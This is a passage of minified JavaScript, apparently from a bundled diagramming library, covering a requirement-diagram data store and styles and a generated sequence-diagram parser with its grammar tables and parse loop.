)/i,/^(?:["])/i,/^(?:\n)/i,/^(?:classDef\b)/i,/^(?:class\b)/i,/^(?:<-)/i,/^(?:->)/i,/^(?:-)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[\w][^:,\r\n\{\<\>\-\=]*)/i,/^(?:\w+)/i,/^(?:[0-9]+)/i,/^(?:,)/i],conditions:{acc_descr_multiline:{rules:[6,7,68,69,70],inclusive:!1},acc_descr:{rules:[4,68,69,70],inclusive:!1},acc_title:{rules:[2,68,69,70],inclusive:!1},style:{rules:[50,51,52,53,54,55,56,57,58,68,69,70],inclusive:!1},unqString:{rules:[68,69,70],inclusive:!1},token:{rules:[68,69,70],inclusive:!1},string:{rules:[65,66,68,69,70],inclusive:!1},INITIAL:{rules:[0,1,3,5,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,59,60,61,62,63,64,67,68,69,70],inclusive:!0}}};return fe})();Ne.lexer=Ce;function Fe(){this.yy={}}return o(Fe,"Parser"),Fe.prototype=Ne,Ne.Parser=Fe,new Fe})();QF.parser=QF;kye=QF});var Z6,Sye=N(()=>{"use strict";Xt();pt();ci();Z6=class{constructor(){this.relations=[];this.latestRequirement=this.getInitialRequirement();this.requirements=new Map;this.latestElement=this.getInitialElement();this.elements=new Map;this.classes=new Map;this.direction="TB";this.RequirementType={REQUIREMENT:"Requirement",FUNCTIONAL_REQUIREMENT:"Functional Requirement",INTERFACE_REQUIREMENT:"Interface Requirement",PERFORMANCE_REQUIREMENT:"Performance Requirement",PHYSICAL_REQUIREMENT:"Physical Requirement",DESIGN_CONSTRAINT:"Design Constraint"};this.RiskLevel={LOW_RISK:"Low",MED_RISK:"Medium",HIGH_RISK:"High"};this.VerifyType={VERIFY_ANALYSIS:"Analysis",VERIFY_DEMONSTRATION:"Demonstration",VERIFY_INSPECTION:"Inspection",VERIFY_TEST:"Test"};this.Relationships={CONTAINS:"contains",COPIES:"copies",DERIVES:"derives",SATISFIES:"satisfies",VERIFIES:"verifies",REFINES:"refines",TRACES:"traces"};this.setAccTitle=Rr;this.getAccTitle=Mr;this.setAccDescription=Ir;this.getAccDescription=Or;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getConfig=o(()=>ge().requirement,"getConfig");this.clear(),this.setDirection=this.setDirection.bind(this),this.addRequirement=this.addRequirement.bind(this),this.setNewReqId=this.setNewReqId.bind(this),this.setNewReqRisk=this.setNewReqRisk.bind(this),this.setNewReqText=this.setNewReqText.bind(this),this.setNewReqVerifyMethod=this.setNewReqVerifyMethod.bind(this),this.addElement=this.addElement.bind(this),this.setNewElementType=this.setNewElementType.bind(this),this.setNewElementDocRef=this.setNewElementDocRef.bind(this),this.addRelationship=this.addRelationship.bind(this),this.setCssStyle=this.setCssStyle.bind(this),this.setClass=this.setClass.bind(this),this.defineClass=this.defineClass.bind(this),this.setAccTitle=this.setAccTitle.bind(this),this.setAccDescription=this.setAccDescription.bind(this)}static{o(this,"RequirementDB")}getDirection(){return this.direction}setDirection(e){this.direction=e}resetLatestRequirement(){this.latestRequirement=this.getInitialRequirement()}resetLatestElement(){this.latestElement=this.getInitialElement()}getInitialRequirement(){return{requirementId:"",text:"",risk:"",verifyMethod:"",name:"",type:"",cssStyles:[],classes:["default"]}}getInitialElement(){return{name:"",type:"",docRef:"",cssStyles:[],classes:["default"]}}addRequirement(e,r){return this.requirements.has(e)||this.requirements.set(e,{name:e,type:r,requirementId:this.latestRequirement.requirementId,text:this.latestRequirement.text,risk:this.latestRequirement.risk,verifyMethod:this.latestRequirement.verifyMethod,cssStyles:[],classes:["default"]}),this.resetLatestRequirement(),this.requirements.get(e)}getRequirements(){return this.requirements}setNewReqId(e){this.latestRequirement!==void 0&&(this.latestRequirement.requirementId=e)}setNewReqText(e){this.latestRequirement!==void 0&&(this.latestRequirement.text=e)}setNewReqRisk(e){this.latestRequirement!==void 0&&(this.latestRequirement.risk=e)}setNewReqVerifyMethod(e){this.latestRequirement!==void 0&&(this.latestRequirement.verifyMethod=e)}addElement(e){return this.elements.has(e)||(this.elements.set(e,{name:e,type:this.latestElement.type,docRef:this.latestElement.docRef,cssStyles:[],classes:["default"]}),X.info("Added new element: ",e)),this.resetLatestElement(),this.elements.get(e)}getElements(){return this.elements}setNewElementType(e){this.latestElement!==void 0&&(this.latestElement.type=e)}setNewElementDocRef(e){this.latestElement!==void 0&&(this.latestElement.docRef=e)}addRelationship(e,r,n){this.relations.push({type:e,src:r,dst:n})}getRelationships(){return this.relations}clear(){this.relations=[],this.resetLatestRequirement(),this.requirements=new Map,this.resetLatestElement(),this.elements=new Map,this.classes=new Map,Sr()}setCssStyle(e,r){for(let n of e){let i=this.requirements.get(n)??this.elements.get(n);if(!r||!i)return;for(let a of r)a.includes(",")?i.cssStyles.push(...a.split(",")):i.cssStyles.push(a)}}setClass(e,r){for(let n of e){let i=this.requirements.get(n)??this.elements.get(n);if(i)for(let a of r){i.classes.push(a);let s=this.classes.get(a)?.styles;s&&i.cssStyles.push(...s)}}}defineClass(e,r){for(let n of e){let i=this.classes.get(n);i===void 0&&(i={id:n,styles:[],textStyles:[]},this.classes.set(n,i)),r&&r.forEach(function(a){if(/color/.exec(a)){let s=a.replace("fill","bgFill");i.textStyles.push(s)}i.styles.push(a)}),this.requirements.forEach(a=>{a.classes.includes(n)&&a.cssStyles.push(...r.flatMap(s=>s.split(",")))}),this.elements.forEach(a=>{a.classes.includes(n)&&a.cssStyles.push(...r.flatMap(s=>s.split(",")))})}}getClasses(){return this.classes}getData(){let e=ge(),r=[],n=[];for(let i of this.requirements.values()){let a=i;a.id=i.name,a.cssStyles=i.cssStyles,a.cssClasses=i.classes.join(" "),a.shape="requirementBox",a.look=e.look,r.push(a)}for(let i of this.elements.values()){let a=i;a.shape="requirementBox",a.look=e.look,a.id=i.name,a.cssStyles=i.cssStyles,a.cssClasses=i.classes.join(" "),r.push(a)}for(let i of this.relations){let a=0,s=i.type===this.Relationships.CONTAINS,l={id:`${i.src}-${i.dst}-${a}`,start:this.requirements.get(i.src)?.name??this.elements.get(i.src)?.name,end:this.requirements.get(i.dst)?.name??this.elements.get(i.dst)?.name,label:`<<${i.type}>>`,classes:"relationshipLine",style:["fill:none",s?"":"stroke-dasharray: 10,7"],labelpos:"c",thickness:"normal",type:"normal",pattern:s?"normal":"dashed",arrowTypeStart:s?"requirement_contains":"",arrowTypeEnd:s?"":"requirement_arrow",look:e.look};n.push(l),a++}return{nodes:r,edges:n,other:{},config:e,direction:this.getDirection()}}}});var VZe,Cye,Aye=N(()=>{"use strict";VZe=o(t=>` + + marker { + fill: ${t.relationColor}; + stroke: ${t.relationColor}; + } + + marker.cross { + stroke: ${t.lineColor}; + } + + svg { + font-family: ${t.fontFamily}; + font-size: ${t.fontSize}; + } + + .reqBox { + fill: ${t.requirementBackground}; + fill-opacity: 1.0; + stroke: ${t.requirementBorderColor}; + stroke-width: ${t.requirementBorderSize}; + } + + .reqTitle, .reqLabel{ + fill: ${t.requirementTextColor}; + } + .reqLabelBox { + fill: ${t.relationLabelBackground}; + fill-opacity: 1.0; + } + + .req-title-line { + stroke: ${t.requirementBorderColor}; + stroke-width: ${t.requirementBorderSize}; + } + .relationshipLine { + stroke: ${t.relationColor}; + stroke-width: 1; + } + .relationshipLabel { + fill: ${t.relationLabelColor}; + } + .divider { + stroke: ${t.nodeBorder}; + stroke-width: 1; + } + .label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + .label text,span { + fill: ${t.nodeTextColor||t.textColor}; + color: ${t.nodeTextColor||t.textColor}; + } + .labelBkg { + background-color: ${t.edgeLabelBackground}; + } + +`,"getStyles"),Cye=VZe});var ZF={};dr(ZF,{draw:()=>UZe});var UZe,_ye=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();UZe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing requirement diagram (unified)",e);let{securityLevel:i,state:a,layout:s}=ge(),l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=$c(s),l.nodeSpacing=a?.nodeSpacing??50,l.rankSpacing=a?.rankSpacing??50,l.markers=["requirement_contains","requirement_arrow"],l.diagramId=e,await Qo(l,u);let h=8;qt.insertTitle(u,"requirementDiagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,h,"requirementDiagram",a?.useMaxWidth??!0)},"draw")});var Dye={};dr(Dye,{diagram:()=>HZe});var HZe,Lye=N(()=>{"use strict";Eye();Sye();Aye();_ye();HZe={parser:kye,get db(){return new Z6},renderer:ZF,styles:Cye}});var JF,Mye,Iye=N(()=>{"use strict";JF=(function(){var t=o(function(ee,Z,K,ae){for(K=K||{},ae=ee.length;ae--;K[ee[ae]]=Z);return K},"o"),e=[1,2],r=[1,3],n=[1,4],i=[2,4],a=[1,9],s=[1,11],l=[1,13],u=[1,14],h=[1,16],f=[1,17],d=[1,18],p=[1,24],m=[1,25],g=[1,26],y=[1,27],v=[1,28],x=[1,29],b=[1,30],T=[1,31],S=[1,32],w=[1,33],k=[1,34],A=[1,35],C=[1,36],R=[1,37],I=[1,38],L=[1,39],E=[1,41],D=[1,42],_=[1,43],O=[1,44],M=[1,45],P=[1,46],B=[1,4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,47,48,49,50,52,53,55,60,61,62,63,71],F=[2,71],G=[4,5,16,50,52,53],$=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,50,52,53,55,60,61,62,63,71],U=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,49,50,52,53,55,60,61,62,63,71],j=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,48,50,52,53,55,60,61,62,63,71],te=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,47,50,52,53,55,60,61,62,63,71],Y=[69,70,71],oe=[1,127],J={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,SPACE:4,NEWLINE:5,SD:6,document:7,line:8,statement:9,box_section:10,box_line:11,participant_statement:12,create:13,box:14,restOfLine:15,end:16,signal:17,autonumber:18,NUM:19,off:20,activate:21,actor:22,deactivate:23,note_statement:24,links_statement:25,link_statement:26,properties_statement:27,details_statement:28,title:29,legacy_title:30,acc_title:31,acc_title_value:32,acc_descr:33,acc_descr_value:34,acc_descr_multiline_value:35,loop:36,rect:37,opt:38,alt:39,else_sections:40,par:41,par_sections:42,par_over:43,critical:44,option_sections:45,break:46,option:47,and:48,else:49,participant:50,AS:51,participant_actor:52,destroy:53,actor_with_config:54,note:55,placement:56,text2:57,over:58,actor_pair:59,links:60,link:61,properties:62,details:63,spaceList:64,",":65,left_of:66,right_of:67,signaltype:68,"+":69,"-":70,ACTOR:71,config_object:72,CONFIG_START:73,CONFIG_CONTENT:74,CONFIG_END:75,SOLID_OPEN_ARROW:76,DOTTED_OPEN_ARROW:77,SOLID_ARROW:78,BIDIRECTIONAL_SOLID_ARROW:79,DOTTED_ARROW:80,BIDIRECTIONAL_DOTTED_ARROW:81,SOLID_CROSS:82,DOTTED_CROSS:83,SOLID_POINT:84,DOTTED_POINT:85,TXT:86,$accept:0,$end:1},terminals_:{2:"error",4:"SPACE",5:"NEWLINE",6:"SD",13:"create",14:"box",15:"restOfLine",16:"end",18:"autonumber",19:"NUM",20:"off",21:"activate",23:"deactivate",29:"title",30:"legacy_title",31:"acc_title",32:"acc_title_value",33:"acc_descr",34:"acc_descr_value",35:"acc_descr_multiline_value",36:"loop",37:"rect",38:"opt",39:"alt",41:"par",43:"par_over",44:"critical",46:"break",47:"option",48:"and",49:"else",50:"participant",51:"AS",52:"participant_actor",53:"destroy",55:"note",58:"over",60:"links",61:"link",62:"properties",63:"details",65:",",66:"left_of",67:"right_of",69:"+",70:"-",71:"ACTOR",73:"CONFIG_START",74:"CONFIG_CONTENT",75:"CONFIG_END",76:"SOLID_OPEN_ARROW",77:"DOTTED_OPEN_ARROW",78:"SOLID_ARROW",79:"BIDIRECTIONAL_SOLID_ARROW",80:"DOTTED_ARROW",81:"BIDIRECTIONAL_DOTTED_ARROW",82:"SOLID_CROSS",83:"DOTTED_CROSS",84:"SOLID_POINT",85:"DOTTED_POINT",86:"TXT"},productions_:[0,[3,2],[3,2],[3,2],[7,0],[7,2],[8,2],[8,1],[8,1],[10,0],[10,2],[11,2],[11,1],[11,1],[9,1],[9,2],[9,4],[9,2],[9,4],[9,3],[9,3],[9,2],[9,3],[9,3],[9,2],[9,2],[9,2],[9,2],[9,2],[9,1],[9,1],[9,2],[9,2],[9,1],[9,4],[9,4],[9,4],[9,4],[9,4],[9,4],[9,4],[9,4],[45,1],[45,4],[42,1],[42,4],[40,1],[40,4],[12,5],[12,3],[12,5],[12,3],[12,3],[12,3],[24,4],[24,4],[25,3],[26,3],[27,3],[28,3],[64,2],[64,1],[59,3],[59,1],[56,1],[56,1],[17,5],[17,5],[17,4],[54,2],[72,3],[22,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[57,1]],performAction:o(function(Z,K,ae,Q,de,ne,Te){var q=ne.length-1;switch(de){case 3:return Q.apply(ne[q]),ne[q];break;case 4:case 9:this.$=[];break;case 5:case 10:ne[q-1].push(ne[q]),this.$=ne[q-1];break;case 6:case 7:case 11:case 12:this.$=ne[q];break;case 8:case 13:this.$=[];break;case 15:ne[q].type="createParticipant",this.$=ne[q];break;case 16:ne[q-1].unshift({type:"boxStart",boxData:Q.parseBoxData(ne[q-2])}),ne[q-1].push({type:"boxEnd",boxText:ne[q-2]}),this.$=ne[q-1];break;case 18:this.$={type:"sequenceIndex",sequenceIndex:Number(ne[q-2]),sequenceIndexStep:Number(ne[q-1]),sequenceVisible:!0,signalType:Q.LINETYPE.AUTONUMBER};break;case 19:this.$={type:"sequenceIndex",sequenceIndex:Number(ne[q-1]),sequenceIndexStep:1,sequenceVisible:!0,signalType:Q.LINETYPE.AUTONUMBER};break;case 20:this.$={type:"sequenceIndex",sequenceVisible:!1,signalType:Q.LINETYPE.AUTONUMBER};break;case 21:this.$={type:"sequenceIndex",sequenceVisible:!0,signalType:Q.LINETYPE.AUTONUMBER};break;case 22:this.$={type:"activeStart",signalType:Q.LINETYPE.ACTIVE_START,actor:ne[q-1].actor};break;case 23:this.$={type:"activeEnd",signalType:Q.LINETYPE.ACTIVE_END,actor:ne[q-1].actor};break;case 29:Q.setDiagramTitle(ne[q].substring(6)),this.$=ne[q].substring(6);break;case 30:Q.setDiagramTitle(ne[q].substring(7)),this.$=ne[q].substring(7);break;case 31:this.$=ne[q].trim(),Q.setAccTitle(this.$);break;case 32:case 33:this.$=ne[q].trim(),Q.setAccDescription(this.$);break;case 34:ne[q-1].unshift({type:"loopStart",loopText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.LOOP_START}),ne[q-1].push({type:"loopEnd",loopText:ne[q-2],signalType:Q.LINETYPE.LOOP_END}),this.$=ne[q-1];break;case 35:ne[q-1].unshift({type:"rectStart",color:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.RECT_START}),ne[q-1].push({type:"rectEnd",color:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.RECT_END}),this.$=ne[q-1];break;case 36:ne[q-1].unshift({type:"optStart",optText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.OPT_START}),ne[q-1].push({type:"optEnd",optText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.OPT_END}),this.$=ne[q-1];break;case 37:ne[q-1].unshift({type:"altStart",altText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.ALT_START}),ne[q-1].push({type:"altEnd",signalType:Q.LINETYPE.ALT_END}),this.$=ne[q-1];break;case 38:ne[q-1].unshift({type:"parStart",parText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.PAR_START}),ne[q-1].push({type:"parEnd",signalType:Q.LINETYPE.PAR_END}),this.$=ne[q-1];break;case 39:ne[q-1].unshift({type:"parStart",parText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.PAR_OVER_START}),ne[q-1].push({type:"parEnd",signalType:Q.LINETYPE.PAR_END}),this.$=ne[q-1];break;case 40:ne[q-1].unshift({type:"criticalStart",criticalText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.CRITICAL_START}),ne[q-1].push({type:"criticalEnd",signalType:Q.LINETYPE.CRITICAL_END}),this.$=ne[q-1];break;case 41:ne[q-1].unshift({type:"breakStart",breakText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.BREAK_START}),ne[q-1].push({type:"breakEnd",optText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.BREAK_END}),this.$=ne[q-1];break;case 43:this.$=ne[q-3].concat([{type:"option",optionText:Q.parseMessage(ne[q-1]),signalType:Q.LINETYPE.CRITICAL_OPTION},ne[q]]);break;case 45:this.$=ne[q-3].concat([{type:"and",parText:Q.parseMessage(ne[q-1]),signalType:Q.LINETYPE.PAR_AND},ne[q]]);break;case 47:this.$=ne[q-3].concat([{type:"else",altText:Q.parseMessage(ne[q-1]),signalType:Q.LINETYPE.ALT_ELSE},ne[q]]);break;case 48:ne[q-3].draw="participant",ne[q-3].type="addParticipant",ne[q-3].description=Q.parseMessage(ne[q-1]),this.$=ne[q-3];break;case 49:ne[q-1].draw="participant",ne[q-1].type="addParticipant",this.$=ne[q-1];break;case 50:ne[q-3].draw="actor",ne[q-3].type="addParticipant",ne[q-3].description=Q.parseMessage(ne[q-1]),this.$=ne[q-3];break;case 51:ne[q-1].draw="actor",ne[q-1].type="addParticipant",this.$=ne[q-1];break;case 52:ne[q-1].type="destroyParticipant",this.$=ne[q-1];break;case 53:ne[q-1].draw="participant",ne[q-1].type="addParticipant",this.$=ne[q-1];break;case 54:this.$=[ne[q-1],{type:"addNote",placement:ne[q-2],actor:ne[q-1].actor,text:ne[q]}];break;case 55:ne[q-2]=[].concat(ne[q-1],ne[q-1]).slice(0,2),ne[q-2][0]=ne[q-2][0].actor,ne[q-2][1]=ne[q-2][1].actor,this.$=[ne[q-1],{type:"addNote",placement:Q.PLACEMENT.OVER,actor:ne[q-2].slice(0,2),text:ne[q]}];break;case 56:this.$=[ne[q-1],{type:"addLinks",actor:ne[q-1].actor,text:ne[q]}];break;case 57:this.$=[ne[q-1],{type:"addALink",actor:ne[q-1].actor,text:ne[q]}];break;case 58:this.$=[ne[q-1],{type:"addProperties",actor:ne[q-1].actor,text:ne[q]}];break;case 59:this.$=[ne[q-1],{type:"addDetails",actor:ne[q-1].actor,text:ne[q]}];break;case 62:this.$=[ne[q-2],ne[q]];break;case 63:this.$=ne[q];break;case 64:this.$=Q.PLACEMENT.LEFTOF;break;case 65:this.$=Q.PLACEMENT.RIGHTOF;break;case 66:this.$=[ne[q-4],ne[q-1],{type:"addMessage",from:ne[q-4].actor,to:ne[q-1].actor,signalType:ne[q-3],msg:ne[q],activate:!0},{type:"activeStart",signalType:Q.LINETYPE.ACTIVE_START,actor:ne[q-1].actor}];break;case 67:this.$=[ne[q-4],ne[q-1],{type:"addMessage",from:ne[q-4].actor,to:ne[q-1].actor,signalType:ne[q-3],msg:ne[q]},{type:"activeEnd",signalType:Q.LINETYPE.ACTIVE_END,actor:ne[q-4].actor}];break;case 68:this.$=[ne[q-3],ne[q-1],{type:"addMessage",from:ne[q-3].actor,to:ne[q-1].actor,signalType:ne[q-2],msg:ne[q]}];break;case 69:this.$={type:"addParticipant",actor:ne[q-1],config:ne[q]};break;case 70:this.$=ne[q-1].trim();break;case 71:this.$={type:"addParticipant",actor:ne[q]};break;case 72:this.$=Q.LINETYPE.SOLID_OPEN;break;case 73:this.$=Q.LINETYPE.DOTTED_OPEN;break;case 74:this.$=Q.LINETYPE.SOLID;break;case 75:this.$=Q.LINETYPE.BIDIRECTIONAL_SOLID;break;case 76:this.$=Q.LINETYPE.DOTTED;break;case 77:this.$=Q.LINETYPE.BIDIRECTIONAL_DOTTED;break;case 78:this.$=Q.LINETYPE.SOLID_CROSS;break;case 79:this.$=Q.LINETYPE.DOTTED_CROSS;break;case 80:this.$=Q.LINETYPE.SOLID_POINT;break;case 81:this.$=Q.LINETYPE.DOTTED_POINT;break;case 82:this.$=Q.parseMessage(ne[q].trim().substring(1));break}},"anonymous"),table:[{3:1,4:e,5:r,6:n},{1:[3]},{3:5,4:e,5:r,6:n},{3:6,4:e,5:r,6:n},t([1,4,5,13,14,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,50,52,53,55,60,61,62,63,71],i,{7:7}),{1:[2,1]},{1:[2,2]},{1:[2,3],4:a,5:s,8:8,9:10,12:12,13:l,14:u,17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},t(B,[2,5]),{9:47,12:12,13:l,14:u,17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},t(B,[2,7]),t(B,[2,8]),t(B,[2,14]),{12:48,50:R,52:I,53:L},{15:[1,49]},{5:[1,50]},{5:[1,53],19:[1,51],20:[1,52]},{22:54,71:P},{22:55,71:P},{5:[1,56]},{5:[1,57]},{5:[1,58]},{5:[1,59]},{5:[1,60]},t(B,[2,29]),t(B,[2,30]),{32:[1,61]},{34:[1,62]},t(B,[2,33]),{15:[1,63]},{15:[1,64]},{15:[1,65]},{15:[1,66]},{15:[1,67]},{15:[1,68]},{15:[1,69]},{15:[1,70]},{22:71,54:72,71:[1,73]},{22:74,71:P},{22:75,71:P},{68:76,76:[1,77],77:[1,78],78:[1,79],79:[1,80],80:[1,81],81:[1,82],82:[1,83],83:[1,84],84:[1,85],85:[1,86]},{56:87,58:[1,88],66:[1,89],67:[1,90]},{22:91,71:P},{22:92,71:P},{22:93,71:P},{22:94,71:P},t([5,51,65,76,77,78,79,80,81,82,83,84,85,86],F),t(B,[2,6]),t(B,[2,15]),t(G,[2,9],{10:95}),t(B,[2,17]),{5:[1,97],19:[1,96]},{5:[1,98]},t(B,[2,21]),{5:[1,99]},{5:[1,100]},t(B,[2,24]),t(B,[2,25]),t(B,[2,26]),t(B,[2,27]),t(B,[2,28]),t(B,[2,31]),t(B,[2,32]),t($,i,{7:101}),t($,i,{7:102}),t($,i,{7:103}),t(U,i,{40:104,7:105}),t(j,i,{42:106,7:107}),t(j,i,{7:107,42:108}),t(te,i,{45:109,7:110}),t($,i,{7:111}),{5:[1,113],51:[1,112]},{5:[1,114]},t([5,51],F,{72:115,73:[1,116]}),{5:[1,118],51:[1,117]},{5:[1,119]},{22:122,69:[1,120],70:[1,121],71:P},t(Y,[2,72]),t(Y,[2,73]),t(Y,[2,74]),t(Y,[2,75]),t(Y,[2,76]),t(Y,[2,77]),t(Y,[2,78]),t(Y,[2,79]),t(Y,[2,80]),t(Y,[2,81]),{22:123,71:P},{22:125,59:124,71:P},{71:[2,64]},{71:[2,65]},{57:126,86:oe},{57:128,86:oe},{57:129,86:oe},{57:130,86:oe},{4:[1,133],5:[1,135],11:132,12:134,16:[1,131],50:R,52:I,53:L},{5:[1,136]},t(B,[2,19]),t(B,[2,20]),t(B,[2,22]),t(B,[2,23]),{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,137],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,138],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,139],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{16:[1,140]},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[2,46],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,49:[1,141],50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{16:[1,142]},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[2,44],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,48:[1,143],50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{16:[1,144]},{16:[1,145]},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[2,42],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,47:[1,146],50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{4:a,5:s,8:8,9:10,12:12,13:l,14:u,16:[1,147],17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},{15:[1,148]},t(B,[2,49]),t(B,[2,53]),{5:[2,69]},{74:[1,149]},{15:[1,150]},t(B,[2,51]),t(B,[2,52]),{22:151,71:P},{22:152,71:P},{57:153,86:oe},{57:154,86:oe},{57:155,86:oe},{65:[1,156],86:[2,63]},{5:[2,56]},{5:[2,82]},{5:[2,57]},{5:[2,58]},{5:[2,59]},t(B,[2,16]),t(G,[2,10]),{12:157,50:R,52:I,53:L},t(G,[2,12]),t(G,[2,13]),t(B,[2,18]),t(B,[2,34]),t(B,[2,35]),t(B,[2,36]),t(B,[2,37]),{15:[1,158]},t(B,[2,38]),{15:[1,159]},t(B,[2,39]),t(B,[2,40]),{15:[1,160]},t(B,[2,41]),{5:[1,161]},{75:[1,162]},{5:[1,163]},{57:164,86:oe},{57:165,86:oe},{5:[2,68]},{5:[2,54]},{5:[2,55]},{22:166,71:P},t(G,[2,11]),t(U,i,{7:105,40:167}),t(j,i,{7:107,42:168}),t(te,i,{7:110,45:169}),t(B,[2,48]),{5:[2,70]},t(B,[2,50]),{5:[2,66]},{5:[2,67]},{86:[2,62]},{16:[2,47]},{16:[2,45]},{16:[2,43]}],defaultActions:{5:[2,1],6:[2,2],89:[2,64],90:[2,65],115:[2,69],126:[2,56],127:[2,82],128:[2,57],129:[2,58],130:[2,59],153:[2,68],154:[2,54],155:[2,55],162:[2,70],164:[2,66],165:[2,67],166:[2,62],167:[2,47],168:[2,45],169:[2,43]},parseError:o(function(Z,K){if(K.recoverable)this.trace(Z);else{var ae=new Error(Z);throw ae.hash=K,ae}},"parseError"),parse:o(function(Z){var K=this,ae=[0],Q=[],de=[null],ne=[],Te=this.table,q="",Ve=0,pe=0,Be=0,Ye=2,He=1,Le=ne.slice.call(arguments,1),Ie=Object.create(this.lexer),Ne={yy:{}};for(var Ce in this.yy)Object.prototype.hasOwnProperty.call(this.yy,Ce)&&(Ne.yy[Ce]=this.yy[Ce]);Ie.setInput(Z,Ne.yy),Ne.yy.lexer=Ie,Ne.yy.parser=this,typeof Ie.yylloc>"u"&&(Ie.yylloc={});var Fe=Ie.yylloc;ne.push(Fe);var fe=Ie.options&&Ie.options.ranges;typeof Ne.yy.parseError=="function"?this.parseError=Ne.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function xe(We){ae.length=ae.length-2*We,de.length=de.length-We,ne.length=ne.length-We}o(xe,"popStack");function W(){var We;return We=Q.pop()||Ie.lex()||He,typeof We!="number"&&(We instanceof Array&&(Q=We,We=Q.pop()),We=K.symbols_[We]||We),We}o(W,"lex");for(var he,z,se,le,ke,ve,ye={},Re,_e,ze,Ke;;){if(se=ae[ae.length-1],this.defaultActions[se]?le=this.defaultActions[se]:((he===null||typeof he>"u")&&(he=W()),le=Te[se]&&Te[se][he]),typeof le>"u"||!le.length||!le[0]){var xt="";Ke=[];for(Re in Te[se])this.terminals_[Re]&&Re>Ye&&Ke.push("'"+this.terminals_[Re]+"'");Ie.showPosition?xt="Parse error on line "+(Ve+1)+`: +`+Ie.showPosition()+` +Expecting `+Ke.join(", ")+", got '"+(this.terminals_[he]||he)+"'":xt="Parse error on line "+(Ve+1)+": Unexpected "+(he==He?"end of input":"'"+(this.terminals_[he]||he)+"'"),this.parseError(xt,{text:Ie.match,token:this.terminals_[he]||he,line:Ie.yylineno,loc:Fe,expected:Ke})}if(le[0]instanceof Array&&le.length>1)throw new Error("Parse Error: multiple actions possible at state: "+se+", token: "+he);switch(le[0]){case 1:ae.push(he),de.push(Ie.yytext),ne.push(Ie.yylloc),ae.push(le[1]),he=null,z?(he=z,z=null):(pe=Ie.yyleng,q=Ie.yytext,Ve=Ie.yylineno,Fe=Ie.yylloc,Be>0&&Be--);break;case 